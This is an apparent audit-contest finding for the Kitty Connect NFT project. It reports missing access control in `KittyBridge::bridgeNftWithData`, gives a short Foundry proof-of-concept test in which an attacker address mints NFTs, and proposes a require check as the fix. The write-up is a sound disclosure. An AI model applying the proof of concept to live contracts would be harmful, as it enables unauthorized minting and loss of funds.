First Flight #12: Kitty Connect
First Flight #12: Kitty Connect
Beginner FriendlyFoundryNFTGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No access control in `KittyBridge::bridgeNftWithData` (Lack of Access Control), this will lead to unauthorized minting of NFTs.

0xm00k

Summary

No access control is implemented in KittyBridge::bridgeNftWithData function, which allows anyone to mint NFTs even if they are not the owner of the NFT. so they can mint a lot of NFTs for free. All they need t o do is to pack the `data`` in the correct format and call the function, and they will get the NFTs minted.

Vulnerability Details

POC:
function testUnlimitedNFT_mint() public {
address attacker = makeAddr("attacker");
string
memory catImageIpfsHash = "ipfs://QmbxwGgBGrNdXPm84kqYskmcMT3jrzBN8LzQjixvkz4c62";
​
CatInfo memory catInfo = CatInfo(
"meowdy",
"hehe",
catImageIpfsHash,
block.timestamp,
new address[](0),
address(0),
1
);
​
bytes memory data = abi.encode(
attacker,
catInfo.catName,
catInfo.breed,
catInfo.image,
catInfo.dob,
catInfo.shopPartner
);
​
vm.prank(attacker);
​
kittyBridge.bridgeNftWithData(
networkConfig.otherChainSelector,
attacker,
data
);
}
​

Impact

This will lead to unauthorized minting of NFTs, which will lead to loss of funds for the owner of the contract.

Tools Used

Manual Review.

Recommendations

Add access control to the bridgeNftWithData function to prevent unauthorized minting of NFTs. Such that only the KittyConnect contract can call the function.

function bridgeNftWithData(
uint64 _destinationChainSelector,
address _receiver,
bytes memory _data
)
external
onlyAllowlistedDestinationChain(_destinationChainSelector)
validateReceiver(_receiver)
returns (bytes32 messageId)
{
+ require(msg.sender == kittyConnect, "KittyBridge__NotKittyConnect");
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`bridgeNftWithData` misses access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.